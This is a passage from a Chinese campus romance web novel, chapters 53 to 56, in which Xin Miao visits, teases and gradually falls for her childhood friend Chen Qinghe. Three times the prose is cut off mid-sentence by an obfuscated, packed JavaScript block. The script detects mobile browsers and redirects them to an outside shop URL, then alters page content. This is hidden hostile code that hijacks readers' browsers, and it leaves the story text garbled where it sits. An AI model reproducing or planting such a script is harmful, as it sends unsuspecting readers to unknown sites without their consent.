这顿饭吃到最后,气氛几乎僵掉。 原本香喷喷的黄焖鸡变得索然无味,如同嚼蜡。 辛苗不住的懊恼自己为什么嘴巴那么快,非要说一些不合时宜的话,这下好了,变成这样……她们从小学六年级的暑假认识以来,还从来没有这么尴尬过。 ——都怪祝楠楠!自己瞎猜就算了,还得要说给她听,搞得她现在看陈青禾哪儿哪儿都觉得不对劲!一整个乱七八糟心烦意乱! 但话又说回来,既然明明知道那厮是瞎猜,她又为什么如此被影响着?她不听不信不往心里去就当作不知道不就好了嘛! 事实证明——责怪她人,不要内耗自己,会让人如释重负。 辛苗调整了下坐姿,将自己碗里吃不完且没动的鸡块一股脑的盛进陈青禾的盘子里,一清嗓子,毫不客气道:“都是干净的,快吃,别浪费!” 陈青禾重新抬眸,眼皮撩起,定定地看向她。 半晌,勾起唇角:“你是真不见外。” 说完,却是将她夹过来的鸡块毫不嫌弃的递到唇边。 辛苗松了一口气,语气也再度变得轻快:“咱俩谁跟谁,见什么外啊。你说是不?” 陈青禾敛眉:“嗯,是。” 吃完饭正好是下午一点,一天当中最热的时候。 按照原计划,辛苗本来是准备带着陈青禾在她们学校转上一整圈的,但……辛苗抬头,看着高悬在顶上的大太阳,最后决定还是算了吧。跟陈青禾一商量,还是决定去图书馆吹空调,等下午凉快了再转。 辛苗给自己借了本小说,然后将学生证递给陈青禾。几分钟之后他回来时,手里多了一本深蓝色封面的书,上面烫印着几个硕大的单词,还画着几颗行星。 辛苗惊讶道:“英语原本的?” 陈青禾:“嗯。” 辛苗好奇:“讲什么的?你能看懂吗?” “天体物理。”陈青禾说:“大概能。” 辛苗咋舌,再一次感叹起了人与人的差距。 俩人在图书馆坐了三个多小时,辛苗刚开始还看得挺认真,结果越往后就越看不进去了,只觉得头昏眼花,书上的字跟蚂蚁似的,在她的视网膜上爬来爬去,爬得她昏昏欲睡。反观陈青禾,从头到尾一个姿势都没怎么变,坐的笔直,那本晦涩难懂的书像是对他有着致命的吸引力,他连眼睛都不带眨的。 于是后半段,陈青禾看书,辛苗看陈青禾。 她手肘支在桌子上,手托着腮,偏着脑袋避也不避地盯着他,看着看着,就有些出了神。 如果从小学六年级暑假算起,她认识陈青禾已经足足六年了。辛苗至今还记得第一次在家门口看见他的时候,自己那副瞠目结舌的样子。这么些年过去,电视上有的童星都长残了,这人却还是一如既往的好看。从辛苗这个角度看过去,睫毛长长的,但不怎么翘,直直的像把扇子。鼻梁高挺,从侧面看跟个滑梯似的笔直。嘴唇不薄也不厚,唇珠饱满坠在正中间,将轮廓的凌厉感削弱了几分。 好看的很客观。 辛苗没忍住,啧啧感叹了两声。 她的视线毫不遮掩,肆无忌惮,陈青禾想装没看见都不行。书上原本就晦涩难懂专业词汇越发入不了脑,他干脆转过脸问她:“看够了没?” 辛苗吓了一跳,很快又镇定下来,她梗着脖子小声嘟囔:“怎么?不能看啊?还是你要收费?” 陈青禾被她这副理不直气也壮的模样气笑了。书是半点也看不进去了,他干脆合上,噙着不明显的笑低声问她:“嗯,你给吗?” 辛苗噎住。 她怒目圆睁,死死地瞪着陈青禾,一手从旁边包里掏出手机,低下头在屏幕上狠戳了好几下。 边上,陈青禾原本黑屏的手机亮了起来。 点开微信未读,是来自辛苗的消息,一则转账记录。 【辛苗:向陈青禾转账0.5元】 陈青禾:“……” 辛苗凑上前在他耳边坏笑:“就值这么多,爱要不要!” 陈青禾淡淡扫了她一眼,指尖轻点屏幕,在某人难以置信的目光下,收了。 “谢谢。”陈青禾礼貌道谢。 “五毛钱你都要?!”辛苗惊愕,顿时有种眼睁睁看着人堕落进金钱腐臭漩涡的感觉,她咬牙切齿道:“陈青禾,你变了。” 陈青禾:“哪里变了?” 辛苗恨铁不成钢地连连摇头:“你堕落了,你已经靠出卖美色赚钱了!” 陈青禾缄默片刻,站起身:“走吧。” 辛苗一愣:“去干嘛?” 陈青禾:“赚钱。” 说是那么说,事实证明,陈青禾并没有疯癫。 出图书馆的时候已经是下午了,太阳稍微下去了那么一点儿,没有中午那么晒了。俩人沿着学校里头转了一圈,辛苗半懂不懂的介绍了几个标志性的建筑,还真就像陈青禾说的那样,他只是来她学校看看。 转完之后,陈青禾没有要在这边吃晚饭的意思,他还得赶回去的公交。 他拿出手机看了眼时间,临近七点,已然不早了。 陈青禾略一思索,问:“超市在哪儿?” 辛苗指着不远处一栋二层楼房:“喏,就那边。” 陈青禾:“跟你回宿舍顺路?” 辛苗点了点头:“顺。” 陈青禾率先抬步:“那走吧。” 辛苗跟在他旁边:“你要买什么东西吗?” 陈青禾:“嗯。” 辛苗努了努嘴,跟着他一并往超市走。 原本以为他只是买瓶水或者别的什么,没成想一进去,陈青禾直接从入口处推了辆购物车过来,然后不等辛苗反应,自顾自的走到货架前,将上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976207|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的零食速食一股脑的往里放,那架势,就跟不要钱似的,直把辛苗看得傻眼儿。 “不是,你在我们学校超市买这么多零食做什么?拎回京大你不嫌沉啊?” “不沉。”陈青禾说着,头都没抬,视线专注在自己手里的薯片上。他左右手拿着不同品牌的,眉头习惯性的拧起,像是在研究什么世纪性难题,半晌,抬眸问辛苗:“这两个,哪个好吃?” 辛苗:“……你左手那个。” 陈青禾一抬下巴:“知道了。” 然后将左手的那个放进了购物车里。 两人在超市里逛了一算,出门的时候,陈青禾左右手各一只大号购物袋,里头满满当当装的全都是吃的。辛苗想帮他拿,甚至都被拒绝了。 直到宿舍楼下,陈青禾才将那两只购物袋一并递给她。 辛苗没反应过来,木着脸问:“这下给我干嘛?我都到了。” 陈青禾语气淡淡:“拿回去吃。” 辛苗卡壳了半天,颤颤巍巍的伸出一只手指着自己的鼻尖:“买给我的?” 陈青禾又是惜字如金的一声:“嗯。” 辛苗小脸噌一下红了个透,她羞答答地接过,问:“为什么啊?” 陈青禾说:“领了钱,请你的。” 辛苗嘴比脑子快,想都没想就说:“就刚才卖脸那五毛啊?” 陈青禾难得哽住。 他下巴绷紧,冷声道:“奖学金。” 辛苗:“……你当我没说。” 气氛很尴尬,尴尬中还带着一丝僵硬,像是死了几万年恐龙变成化石被刚从土里挖出来的那么硬。如果可以,辛苗想挖个坑把自己埋进去,但是不行,地上是水泥路,她挖不动。 辛苗深吸一口气,刚想说话,就被人给打断。 “辛苗?”女生带着不确定的声音从身后响起。 辛苗回头,是李欣悦,她们宿舍唯二的外地人。 那一瞬间,辛苗简直比见了亲人还要亲。 她热切地迎上去:“你回来啦!” 李欣悦点了点头,视线先是聚到她手里的购物袋上,然后抬头,看向旁边站着的陈青禾。那一瞬间,她原本懒散的眸光霎时亮了一大截儿。 她撞了撞辛苗,小声问:“这你朋友啊?” “是的。”辛苗说。她并没注意到她舍友的反应,满脑子都是刚才脚趾扣地的尴尬场面,刚好现下有个绝佳时机……辛苗一瞬间脑筋转了十八个弯儿,转过身对着陈青禾热情挥手:“那我先上楼了,你快走吧,路上慢点哈,到了给我发个微信说一声,拜拜拜拜!” 说完,压根不等对方回话,拉着李欣悦就往回跑,跟后头有洪水猛兽盯着似的。 陈青禾站在原地,直到看着某道狼狈逃窜的背影进了宿舍楼,唇边绽开了一抹笑——气的。 - 辛苗宿舍在三楼,平常跑上跑下不觉得,手里多了负重,脚步一下子就吃力了。 李欣悦一手帮她拎着购物袋,一手扒拉着楼梯扶手,走得慢慢吞吞,边走还边打听:“他就是你昨天说的那个发小,好帅啊,有女朋友吗?” 辛苗诚实道:“没有。” 李欣悦又问:“你喜欢他吗?” “啊?”辛苗愣了下,才说:“也不是……” “真的吗?”李欣悦声音一下拉高了八度,她侧过身,笑嘻嘻地看着辛苗:“那你介绍给我呗!我还蛮喜欢这一挂的!” 54. 第 54 章 上了三层楼,辛苗累得气喘吁吁。 购物袋将手心勒出了两道红痕,她推门进去,却仍然呆呆的站在那儿,连手里的东西都忘了放下。还是李欣悦提醒,她才一令一动的将购物袋放到了桌上。 李欣悦坐到自己椅子上,拿了把小扇子哗哗扇着,仰着头问她:“你脸色怎么突然这么白?” “有吗?”辛苗扯了扯嘴角,试图挤出笑来,却失败了。 她表情变化过于明显,李欣悦想不注意到都难。她拿起扇子掩住嘴,故作不知地问:“有啊!发生什么事了吗?” 辛苗说:“没事啊。” 李欣悦却不依不饶:“哦~~那你把他联系方式给我吧。” 辛苗:“……” 李欣悦直接笑出声:“噗……好啦好啦,逗你玩的,我才不会觊觎朋友的男朋友。” 辛苗忙摆手:“我俩不是你想象的那种关系!” 李欣悦:“那你们是什么关系?” 辛苗噔一下卡住,一张脸从额头红到了下巴,活像被生生掐住脖子的大公鸡。当年应付蒋珂的那套“比纯牛奶还纯的纯友谊”就在嘴边,但怎么着都说不出来。辛苗自己也隐隐知道,有些东西变了……不是陈青禾,是她自己。 这幅一脸菜色苦哈哈的样子再一次逗笑了李欣悦。她比辛苗大一岁半,是这个宿舍年纪最长的,高中时候也不是传统意义上的乖宝宝的,甚至一度叛逆,家里不让做什么她就偏做,逃课早恋去网吧,什么都干全了。好在最后紧要关头迷途知返,高三埋头冲刺了整整一年,最后运气还特别好,补录进了师大。年岁大,经历多,她自觉的承担起了知心大姐姐的角色。 李欣悦放下扇子,一脸揶揄地问道:“怎么不继续了?苦恼什么,说来听听。” 辛苗短暂思索两秒,板凳一拉,坐到了她跟前。 宿舍里没有旁人,门也紧紧关着,只剩下她俩,这种密闭的环境让辛苗的心理防线稍微放下了些许。再加之她现在整个人都很不对劲,甚至是觉得有些苦恼——她没有一星半点处理异性关系的经验,大多时候都是随性而为,或者听陈青禾的意见行事。 现在好了,原本能帮她答疑解惑的人变成了问题本身,辛苗一下子就不知道该怎么办了。她脑袋一通乱麻,却不知道该找谁纾解,李欣悦一问,她稍稍犹豫片刻,就和盘托出了。 辛苗清了清嗓子:“先说明,不是我啊,是我的一个朋友……” 李欣悦刚抿了一小口水,瞬间喷了出来。 辛苗鼓着脸,耳朵红的差点能烧起来:“怎么了?” 李欣悦摆摆手:“没事,你继续说,你那个朋友怎么了?” 辛苗揪着衣摆,拇指跟食指掐着边上那一点布料来回搓着,原本就薄的衣料几乎能被她搓出个洞来。少倾,她终于组织好了语言,才慢吞吞道:“我那个朋友,她有一个认识了很多年的发小,关系一直很不错。本来也没什么,直到某一天,突然有另一个人告诉她,说她发小喜欢她。” 李欣悦:“那个发小本人知道吗?” 辛苗摇摇头:“不知道。” 李欣悦又问:“那就是说你们是猜的咯。” 辛苗点点头:“嗯。然后我这个朋友就很乱,不知道该怎么面对她的发小……你说她该怎么办?” 李欣悦听完一头雾水:“这有什么怎么办的,你管他喜不喜欢你,重点是你喜欢他吗?” 辛苗晃了晃手指,纠正:“不是我,我朋友。” 李欣悦:“好吧,你朋友,那你朋友喜欢她发小吗?” 辛苗:“……” 该不说,她一下问到了点子上。 辛苗低下头,烦躁的抓了抓头发,她不知道自己喜不喜欢陈青禾。他跟谈淇不一样,陈青禾对她来说是很特别的存在,跟任何人都无法类比。她已经习惯了去依赖他,有难题去找他,有好吃的好玩的第一时间跟他分享……但这是习惯,还是喜欢,辛苗不确定。 辛苗颓然地叹了一口气,诚实道:“我朋友自己也不知道。” 李欣悦:“这还能不知道?!” 辛苗找补:“她没谈过恋爱,不知道什么喜欢,怕弄错了,连朋友都没得做。” 李欣悦顿时无语了。 她手里把矿泉水瓶捏的咔嚓作响,用恨铁不成钢的眼神看着辛苗道:“笨!没吃过猪肉还没看过猪跑吗?偶像剧看过吧,言情小说总看过吧?” 辛苗特别不好意思地点了下头。 李欣悦:“你试着想一下,你一段时间不见他,会不会想他?你看见他跟别的女生在一起,你会不会介意?他看向你的时候,你会不会呼吸急促心跳加速?” 辛苗按她说的挨个检索了一番。 一段时间不见陈青禾是偶尔会想一下他;看见他跟别的女生走在一起……这条不成立,陈青禾没有和除了她以外的女生走近过;当他看过来的时候,她好像也并没有心跳加速,但个别时候会有一丢丢的紧张,只有一丢丢。 辛苗:“会,没有过这种情况,偶尔有。” 李欣悦:“…………” 辛苗追问:“那这算是喜欢还是不喜欢?” 李欣悦笑得一脸慈爱:“我不知道,恐怕神仙来了都不知道。” 两人相顾无言,宿舍静悄悄的,连只蚊子飞过恐怕都无处遁形。 辛苗无辜地眨了眨眼,随即委屈地撅起了嘴巴。 她眼睛本来就大,圆圆的,黑白分明,军训这段时间下来,再怎么苦怎么累,她也没有矫情抱怨过,眼底永远是亮晶晶闪着光的,元气满满,像个小太阳。此刻那双大眼睛里却蒙上了一层湿漉漉的雾气,看得人心里软软的。 李欣悦最见不得女生受委屈,她一手握拳,在桌上狠狠一砸,桌面上的护肤品被震得快要跳了起来。她此刻无暇顾及,站起身摸了摸辛苗的脑袋:“没事,不知道咱就想办法去求证。” 辛苗抬起头,茫然地看着她:“怎么求证?” “来我跟你说……” - 京大男生宿舍。 陈青禾回去的时候已经晚上八点多了,天刚黑透,宿舍里其他人还没回来。 从师大到这边没有直达的地铁,公交能方便一些,只不过他刚好赶上了晚高峰,车上人多不说,司机几乎是一脚踩油门一脚踩刹车在开,摇摇晃晃了一路。 陈青禾被晃得头晕,他在椅子上坐了会儿,待那阵劲儿过去,才拿着换洗衣服去冲了个澡。等他洗完再回来的时候,另一个舍友已经坐在那儿了。 “回来了。”陈青禾率先打了声招呼。 舍友蒋奇侧过脸:“诶,你不是有事么,怎么回来比我还早?” 陈青禾将手里的洗脸盆放到桌子底下,弓着腰将里头的洗漱用品拿出来归置到一旁的架子上。他不欲多说,随口应了声:“嗯,事办完就回来了。” 蒋奇“唔”了一声,没再说什么,转过身忙着回消息去了。 陈青禾洗完澡只用毛巾在头发上简单的擦了一下,毛巾也是那种普通的,不怎么吸水,这会儿头发丝又开始滴滴答答的往下掉水珠,有些烦人。他干脆拿了吹风机到阳台,开着热风将头发吹到了半干,才总算不再滴水。 等他再从阳台进来的时候,蒋奇刚好放下手机。 “你那事儿考虑的怎么样?” “什么事?” “就进社团那事。”蒋奇说:“林学姐让我再问问你,看你什么时候能确定下来,社团招新时间快要结束了。” 陈青禾微不可察地蹙了蹙眉,语气冷淡: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984353|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “再说吧。” “啧,你这个人……”蒋奇说到这顿了一顿,才重新道:“我感觉学姐貌似对你有意思,今天聚餐的时候一直在问我你的情况,还让我帮忙旁敲侧击一下,让你进社团。你之前跟她有过接触没?” “没有。” 蒋奇说的学姐是天文社的副社长,陈青禾刚开学的时候在图书馆见过一次。他当初凭借物理竞赛获奖保送进京大,选择专业的时候定了应用物理,但他对天体也有些兴趣,所以在空闲时间去了图书馆借了几本相关方面的书,在排队刷卡的时候,遇见了这位学姐。或许是看他手上拿着跟天文相关的书籍,她主动来找他聊了几句,之后在社团招新会上又偶然碰见了,对方就邀请他加入她们社团。 陈青禾不喜欢社交,相比在社团里跟大家一起研讨交流,他更喜欢自己一个人安静地看书,那对他来说是一种打发时间的放松方式。所以他并没有答应。但据蒋奇说,加入社团院里会给综合素质分,这也是学年末申请奖学金的条件之一。因此,陈青禾有些顾虑。 蒋奇又说:“也不知道你在纠结什么,人学姐挺看得起你的,要是她那么三催四请叫我去,我早就缴械投降了。” 陈青禾:“嗯。” 蒋奇一下差点没噎死。 他瞥了陈青禾几眼——人家稳稳坐在凳子上,背对着他,只留下一个湿漉漉的后脑勺。该说不说,即使头发半干未干,也丝毫不影响这人的颜值和气势——话说回来,好好一个人,怎么就跟个大冰块似的,永远板着一张脸,多说一个字简直跟要他命似的,难接近的一比。 蒋奇翻了个白眼,转过身继续在群里侃大山了。 陈青禾的手机路上没电关机了,他洗澡之前将其放在了桌上充电,现下刚一开机,屏幕上就跳出来了几则微信消息。除了几则推广,再就是辛苗发来的,问他到了没有,怎么不回消息云云。 陈青禾点开输入法,手指刚按在键盘上,电话就过来了。他接通,辛苗的声音顺着听筒传来。 “喂,陈青禾你到宿舍了吗?我给你发消息怎么不回我啊?” 陈青禾声音和缓,一句一句耐心回答她所有的问题:“到了,手机没电,刚开机。” “这样啊,我就说你怎么没个信儿呢,还以为你怎么了呢。” “没怎么,别担心。”陈青禾笑了笑,顾及宿舍还有其他人,他声音越发的轻:“给你买得零食肚子饿了的时候再拿来充饥,别把那些东西当饭吃,知道没?” “知道知道。”辛苗脆生生的应道,片刻,她抿了抿唇,不甚自然地开口:“那个,走的时候有点急,还没跟你说谢谢。” 陈青禾问:“谢什么?” 辛苗忸怩道:“你买的零食。” 陈青禾默了片刻,下巴微抬了下:“嗯,还行。” 辛苗没听明白:“什么还行?” 陈青禾说:“还知道感恩,我以为你这些年蹭吃蹭喝早都习惯了。” 他指关节在桌面上轻轻点着,整个人往后靠在椅子上,一副放下了所有防备与伪装的闲适姿态,语调也不负方才的冷漠,甚至带了几分纵容,唇角隐隐往上勾着。 这幅与刚才冷冰冰又不耐烦的人完全两模两样,跟人格分裂了似的,惊得蒋奇扭过身瞪大眼睛看他。 直到见他挂了电话,蒋奇再三犹豫,还是没扛住那点好奇心,抻着脖子试探着问起:“刚是你女朋友打电话啊?” 陈青禾并未答话,背影却滞了一下,很快又恢复如常。 蒋奇以为他是默认了,又说:“原来你有女朋友啊,怪不得不搭理人学姐……哎,你女朋友也在北京吗?有机会带来认识认识呗。” “再说吧。” 陈青禾随口道,语气淡漠,连敷衍都不愿意。 55. 第 55 章 这次之后,辛苗很久都没有见到陈青禾。 北京很大,两所学校之间的距离说长不场,说短也不短,来去一趟也很是麻烦。加之军训结束,教学恢复常态化,大一公共课又特别多,每周一到周五,课表排的满满当当,早八晚六,一刻不带停的。 辛苗本以为自己就够苦逼了,结果跟陈青禾比她还要惨。 他不仅课多,还被直系研究生师兄抓去实验室当壮丁。正常来说,他们到大二大三才会跑实验,但高年级师兄师姐跑到大一抓人也是常有的事,陈青禾自己也想尽早接触这些,所以就同意了。 然后,就忙得昏天暗地,连周末都不得闲。 直到期中测验结束,这种连轴转的状态才稍稍好了一些。 辛苗接到陈青禾的电话那天是个礼拜六,她刚和几个舍友刚从校外吃完烤鱼往回走。十一月中旬,夜里的北京已经很冷了,辛苗穿了一件厚实的夹棉外套,两手塞在衣兜里,她今天出门忘了带口罩,脸颊被冻得发红,鼻尖也冰冰凉凉的,几乎没有知觉。 “辛苗,你走慢点啦,才刚吃饱饭。” “我冷!”辛苗转头地应了句,将脖子缩进衣领里头:“你们不冷吗?” 两位北京土著和一个邻省人氏齐齐应道:“还好啊。” 王黎挽着她的胳膊笑嘻嘻地打趣:“哎你不也是北方的么,怎么这么不抗冻啊?” “有吗?我觉得我已经很厉害了,只穿了一条薄秋裤而已。” “秋裤?女大竟然还穿秋裤?”李欣悦凑上前,两手不由分说开玩笑似的往她腰上探:“来让我看看。” “哎呀!”辛苗大喊一声,抓着裤子就跑。 “哈哈哈哈哈哈别跑别跑,我逗你的!” “李欣悦你别吓她。” “慢点辛苗~” 四个女孩子凑在一起玩闹着,叽叽喳喳的欢声笑语撒了一路。辛苗的电话就是在这时候响起来的,她接起的时候气都还没喘匀。 “喂?陈青禾?” 捕捉到她哼哧哼哧的呼吸声,陈青禾问:“你在外面?” “我刚跟舍友吃完饭,现在正在往宿舍走。”辛苗手指着电话朝着她们示意了下,放慢了脚步,一个人远远落到了最后:“你呢?在干嘛?” “刚吃完饭回来。”陈青禾坐在宿舍椅子上,整个上半身伏在桌上。他白天在实验室待了一整天,直到七点多才走。学校餐厅马上关门了,他随便买了份盖饭草草解决了晚餐。“我妈做了牛肉酱从家里寄过来了,让我给你送一些尝尝,你明天有时间吗?” “有是有……”辛苗说完,顿了一下才道:“你要来找我吗?我听你声音感觉你累累的。” 电话那端,陈青禾低笑了声,疲惫的状态让他语调里带了丝沙哑和倦意,听起来莫名的慵懒。“不碍事,明天我大概中午过去,你时间可以吗?” “可以。”辛苗想都没想一口答应下来。她低着头,脚尖踢着路边的一块石子,路灯将她的影子拉的长长的,“那你快点休息吧,明天见。” “嗯,明天见。” 陈青禾微拢的眉心因着这句话而舒展了开来。 他屏住呼吸,直到屏幕彻底按下,才放下手机,起身去洗漱。 另一头的辛苗就没这么有条不紊了。 几乎是在她挂断电话的一瞬间,李欣悦跟鬼似的从一旁猛地窜了出来,一脸八卦样儿地揽住她的脖子问: “跟谁明天见呢?老实交代!是不是你那个发小?那个京大哥?” 辛苗被她一句“京大哥”叫得差点噎住,忙哭笑不得的替陈青禾拒绝了这个难听的绰号:“什么京大哥,人家有名字。” 李欣悦:“OK,你竹马。他明天要来找你吗?” 辛苗点了点头,莫名有点赧然。 李欣悦是宿舍里头唯一一个知道具体情况的人,上次,她甚至还帮她出谋划策了一番,虽然之后并没有机会用到……这下,貌似不失为一个好时机。 李欣悦拍了拍她的肩膀,老神在在地提醒道:“还记得我跟你说的吧?明天加油啊!” - 翌日,辛苗在李欣悦的强行要求下,被她按在那儿画了个淡妆。 辛苗高中时候跟大多数女生一样,除了上课刷题,再就是吃吃喝喝,就连防晒霜还是军训时候第一回用,化妆就更别提了。 李欣悦帮她上了薄薄一层粉底,画了眉毛和眼妆,涂口红的时候辛苗说什么都不要她那个耀眼的正红色,最后只涂了薄薄一层带色的润唇膏。 “来我看看……我的天!辛苗你真的糟蹋了你这么好的底子!”李欣悦恨铁不成钢的感慨,“答应我你一定要开始学着化妆知道吗宝贝,不然你就是在暴殄天物!” “来来来辛苗转过来,让我也康康。” “哇!真的好漂亮啊!当然没有说你平常不漂亮的意思,但是,真的,还是得打扮!” “苗苗你今天见谁啊,怎么这么庄重?” “也没谁,就瞎画一画。” 辛苗眨巴眨巴眼睛,脸颊泛起桃粉色。 这是除了小学六一儿童节表演节目之外,她第一次画这么齐全的妆,被几个舍友如此夸张的表扬了一番,辛苗整个人都烧起来了,恨不得钻进地缝里去。 “你们是不是太夸张了?”辛苗将信将疑道。 李欣悦也不多说,直接将梳妆镜塞进她手里:“你自己看。” 辛苗忐忑地接过,看向镜面,瞬间明显一怔。 镜子里的人粉面桃腮,原本及肩的头发被扎成一颗饱满的丸子……是她,但又不像她。非要说的话,像是水蜜桃变仙桃那样儿,桃还是那个桃子,但就是不同了。 辛苗被自己的形容狠狠雷了一下。 她用那双亮晶晶的眼看向李欣悦:“谢谢你啊,欣悦。” 李欣悦直接捂着胸口倒了。 …… 一番收拾,辛苗最后在几个舍友的帮助下,从她那一堆只有保暖效果没有多余美感的衣服里面勉强挑出了一件藏蓝色的牛角扣大衣,下半身是一条黑色的直筒牛仔裤和小白鞋。辛苗换裤子的时候理所当然的拿起了自己的秋裤准备往上套,结果在几个舍友的强烈反对下,又悻悻然地放了回去,咬着牙只穿了一条单裤出了宿舍。 因着陈青禾过来又是一个饭点,辛苗不好让他每次过来都吃食堂,就将地点约到了她们学校附近的一个商场,就在地铁站旁边。 辛苗到的时候陈青禾地铁还有一站路,她原本想在外头等他,奈何冷风一吹,只觉得两条腿在风里几乎要打起摆子,只好进商场里面等。 三五分钟后,熟悉的身影由远及近。 陈青禾一如既往的怕冷,身上裹了件黑色的厚外套,下半张脸埋进毛衣领口里,只露出清隽冷淡的眉眼。他手里拎着一个纸袋子,不大,估计是他说的从家里寄来的牛肉酱。 大概是在原本定好的广告牌边上没看见她,陈青禾定下脚步,眼皮撩起,匆促地在周遭逡巡了一圈,无果,又低下头,从衣兜里拿出手机。 【我到了,你在哪?】 【里面!】 辛苗站在落地窗前,视线紧盯着他。 看见陈青禾抬起头,略带茫然的视线往这边扫过来,她嘴角咧开了一个大大的笑,举起两条胳膊在半空中挥啊挥。直到陈青禾收起手机往这边走来,辛苗才放下手臂。 商场的玻璃门被从外面推开,陈青禾带着一身凉意走进来。待看见辛苗时,他向来波澜不惊的瞳孔里闪过一抹异色,甚至连脚步都滞了半秒,只是很快,又重新恢复如常。 “外面太冷了,我就跑里边来了。”辛苗解释道,抻着脖子往他手里的袋子上瞧:“这是方蕊阿姨做的牛肉酱吗?” “嗯,我先拿着,走的时候再给你。”陈青禾说。他下巴收紧,眸光在她脸上掠过,难得犹疑道:“你今天……” 辛苗心里一凛,面上装傻问:“怎么了?” 事实证明,智商高的人往往具有一双慧眼,看问题一针见血,眼光毒辣。 陈青禾:“化妆了?” 辛苗:“嗯嗯,有没有觉得有什么不一样?” 陈青禾站在她面前,一步远的距离,垂下眼,锋利的眸光犹如实质,在她脸上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003488|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寸一寸的碾过,最终,停留在唇上……只见她饱满唇畔今天变得尤为粉嫩,上面甚至还泛着一层隐隐的光泽。陈青禾视线定了片刻,随后又不着痕迹地挪开。 陈青禾一板一眼地答道:“脸白了,眉毛比平常要黑一些,嘴巴很红。” 辛苗:“…………” 她原本白里泛红的脸以一种肉眼可见的速度黑了下去。 李欣悦说,如果一个男生对你有意思,他会注意到你每一个微小的变化,那种连你化没化妆都分辨不出来的男生要么是装的,要么压根就懒得敷衍你。 陈青禾倒是看出来了,只不过还不如不看。 辛苗尴尬的脸颊发烫,随口扯了个借口:“呵呵,舍友买了新化妆品,拿我练手……所以,你懂的。” “知道了。”陈青禾说完,停了几秒,又补充了一句:“挺好看的。” 辛苗瞬间又开心了。 …… 商场的物价对他们这种穷学生不是很友好,辛苗也就没有要逛的意思,她带着陈青禾去了顶楼吃了午饭,结束之后时间还早,在陈青禾的提议下又去了楼下影院随便买了场最近的电影票,外加一桶爆米花。 电影是漫威的一部片子,上座率挺高。他俩买票时间太晚,最后坐在了倒数第二排的最外侧的两个空位,辛苗靠里,陈青禾则是挨着墙壁,两个人歪着脖子看了两个小时。等到最后电影落幕,辛苗觉得自己跟落枕了似的,整个脖颈都僵住了。 彩蛋放映结束,影厅顶上的大灯瞬间亮起,周遭骤然由暗转亮,辛苗被刺得眯起了眼,但这种不适感跟脖颈处的比起来简直微不足道。 同厅的观众潮水一般往出退着,辛苗捂着僵硬的脖子刚准备起身,却被陈青禾一把拉住。他原封不动地坐在座位上,拽着她的手腕道:“别急,你脖子很难受?” 辛苗整张脸都皱了起来,烦躁地握着拳在后脖颈上一顿锤:“是,就跟被人抱着脑袋拧了似的!” 陈青禾被她这夸张的比喻手法震撼的沉默了两秒。 他将辛苗作乱的爪子拨到一边,眉心微拢着,低声道:“你别乱动。转过来,我看看。” 辛苗乖乖转过头,面朝向他。 陈青禾双手放在她颈边两侧,身体前倾,越过了影院座椅中间的扶手,同时也跨过了社交距离。他的指腹贴着她的皮肉,稍稍用力向下压着。 “疼吗?”陈青禾问,呼吸间带起的气流扫在她的下巴上。 辛苗原本垂放在腿上的双手蓦地握紧,她眼睫轻颤了下,竭力克制住了想要舔舐嘴唇的本能,“还…还好,左边有点疼。” “保持一个姿势太久了,我替你捏捏?” 辛苗咬了咬唇:“嗯。” 见她应了,陈青禾左手固定住她的脖子,右手微微施力,指腹按在她僵硬的那一处来回打着圈。他对人体构造也是一知半解,更不会按摩,完全就是凭借着本能摸索着帮她缓解。隔上几秒,便会觑一眼辛苗的反应,看她没有露出疼痛的表情,才敢继续。 辛苗脖子微微仰着,眼睛盯着顶上的大灯,瞳孔却空茫茫的一片,没有焦距。 影厅里的人都走光了,保洁阿姨弯着腰在前面收拾地上的卫生,后排只有她们两个。 贴着她脖颈的双手干燥温暖,跟陈青禾外表上的清冷淡漠截然相反。辛苗脑袋里没来由的闪过刚认识那年暑假她流着鼻血靠在他肩膀上,初三他背着初来例假的她一路往校医院走,高一她调皮捣蛋躲避亲妈追捕藏在他身后……一幕幕如同电影场景般闪过,最后归于空白,只剩下胸口里越来越剧烈的跳动声。 咚、咚、咚。 李欣悦的话仿佛就在耳边。 “确定你喜不喜欢一个人其实可简单了,身体的本能是不会欺骗人的。比如,当他向你靠近时,你第一反应不是躲开,而是僵住,然后不由自主地就会屏住呼吸、心跳加速、浑身发烫,大脑一片空白——如果有以上状况,恭喜你,你坠入爱河了!” 辛苗闭上眼睛,满脑子只剩下一个念头。 ——完蛋,兔子还不吃窝边草。 ——她连个兔子都不如! 56. 第 56 章 夜深人静,师大某女生宿舍11点准时熄灯,漆黑一片的房间里,只有手机屏幕散发着幽幽的光打在人的脸上。 